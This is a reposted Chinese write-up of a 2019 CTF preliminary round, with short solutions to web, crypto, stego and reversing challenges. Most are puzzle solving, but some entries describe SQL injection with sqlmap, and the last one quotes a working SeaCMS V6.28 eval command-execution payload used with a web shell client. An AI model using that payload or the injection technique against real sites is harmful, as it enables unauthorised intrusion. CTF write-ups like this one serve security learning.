2019嘉韦思杯线上初赛writeup

转载

dengyihuo0191 于 2019-03-31 16:41:00 发布 75 收藏
文章标签： python php 数据库
原文链接：http://www.cnblogs.com/digdig/p/10631947.html

1 土肥原贤二
看到页面怀疑是sql注入，写了个4'进去就发生报错。
could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "4'" at line 1
直接丢到sqlmap里
id,flag
20_welcome_19,20_welcome_19
1,1
从而得到flag

2 吴佩孚
先是有点蒙，试了下base64，发现得到(![]+[])[+[]]+(![]+[])[!+[]，看起来是jsfuck，丢到浏览器console中得到flag

3 死亡真相
wav音屏文件，用audacity打开，先是频谱图，发现有先是flag：。。。。。，后面的字符串是32位，但是其中有三个下划线，猜测是挖掉了三个数字的md5，于是取中间16位，形成16位的md5，这样子就只含有两个下划线，16*16=256中可能。在网上在线批量解密，发现两个下划线都替换成0的时候就可以解开，用flag{}包装下提交

4 日军空袭
不停地base64解码，最后得到flag{fB__l621a4h4g_ai%7B%26i%7D}，url解码得fB__l621a4h4g_ai{&i}，然后解移位密码，位移为4，得flag

6 戴星炳
用python，获得网页，正则提取然后eval算出来，再请求，获得falg
```
import requests
import re
r = requests.get('http://47.103.43.235:82/web/a/index.php')
a = re.findall(r'<p>(0x.*)</p>',r.text)[0]
a = eval(a)
print(a)
rr = requests.post('http://47.103.43.235:82/web/a/index.php',data={'result':str(a)})
print(rr.text)
```

7 大美晚报
二维码，下载下来，显示用binwalk发现里面有压缩包，用foremost得到里面的压缩包，记事本打开发现有句话说密码是qq号，所以用zipperello穷举数字8-10位组合，得到密码674290437，解压zip得到falg

8 潘汉年
bg[`sZ*Zg'dPfP`VM_SXVd
观察前面五个字符和flag{这五个字符ascii码的差，发现这个差是递增的，根据这个规律就可以解密啦
```
s = "bg[`sZ*Zg'dPfP`VM_SXVd"
```

```
r = ''
for i in range(len(s)):
    r = r+chr(ord(s[i])+4+i)
print(r)
```

9 袁殊

rsa加密，根据public key ，用openssl获得n和e，由于n不大，在http://factordb.com/分解得到pq，然后就可以直接解密啦

```
n16 = 'A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9'
p = 27382110802096828837291142451920104433 3
q = 28038500718631511582848300086755998351 7
#27382110802096828837291142451920104433<39> ·
28038500718631511582848300086755998351<39>
n = int(n16,16)
e = 65537
import gmpy2
import rsa
d = int(gmpy2.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q)     #根据已知参数，计算私钥
with open("fllllllag.txt" , "rb") as f:
    print(rsa.decrypt(f.read(), privatekey).decode())      #使用私钥对密文进行解密，并打印
```

11 晴气庆胤

根据html中的提示，是要输入两个不同的字符串但是有相同md5

使用fastcoll生成两个具有相同md5的文件，再利用python post过去就可以获得falg了

```
import requests
url = 'http://47.103.43.235:85/a/'
with open('msg1.bin','rb') as f:
    data1 = f.read()
with open('msg2.bin','rb') as f:
    data2 = f.read()
d = {'param1':data1,'param2':data2}
r = requests.post(url,data = d)
print(r.text)
```

12 梅津美治郎

逆向

有两个密码，windbg动态调试即可，给scanf下断点

第一层的密码在调用strcmp的地方直接就可以找到

第二层的密码是显示内存中有一个字符串，将这个字符串的每个字符和2进行异或得到的就是第二层密码

14 作战计划

seacms，利用海洋CMS V6.28 命令执行 0DAY，直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有个flag文件，打开就是flag

转载于:https://www.cnblogs.com/digdig/p/10631947.html